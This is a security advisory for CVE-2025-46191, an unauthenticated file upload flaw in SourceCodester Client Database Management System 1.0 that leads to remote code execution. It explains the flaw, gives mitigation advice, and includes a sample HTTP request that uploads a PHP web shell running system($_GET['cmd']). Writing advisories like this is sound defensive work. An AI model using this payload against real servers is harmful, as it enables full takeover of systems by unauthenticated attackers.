Overview
The CVE-2025-46191 vulnerability refers to an arbitrary file upload flaw in the SourceCodester Client Database Management System 1.0. This vulnerability allows unauthenticated users to upload arbitrary files, posing a serious threat to the security of the systems running this software. It’s a significant concern as it can potentially result in system compromise or data leakage if successfully exploited.
With this vulnerability, attackers can upload executable PHP files to a web-accessible directory due to the absence of proper file extension checks, MIME type validation, and authentication. This allows them to execute arbitrary commands remotely, leading to full Remote Code Execution (RCE) without any form of authentication.
Vulnerability Summary
CVE ID: CVE-2025-46191
Severity: Critical (9.8 / 10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
SourceCodester Client Database Management System | 1.0
How the Exploit Works
The exploit works by taking advantage of the lack of file extension checks, MIME type validation, and authentication in user_payment_update.php. Attackers can upload a PHP file with malicious code in the ‘uploaded_file_cancelled’ field. This file is then stored in a web-accessible directory (/files/), which allows the attacker to remotely execute the malicious code simply by accessing the uploaded script.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
POST /user_payment_update.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=abc
--abc
Content-Disposition: form-data; name="uploaded_file_cancelled"; filename="malicious.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
--abc--In this example, the attacker is sending a POST request with a malicious PHP file. The PHP file contains code that allows the execution of any command passed to it through the ‘cmd’ parameter in a GET request. As a result, the attacker can execute arbitrary commands on the server by accessing the uploaded script.
Mitigation Guidance
To mitigate this vulnerability, it is recommended to apply the vendor’s patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Furthermore, it’s crucial to validate the file type and ensure proper authentication checks are in place to avoid unauthenticated file uploads.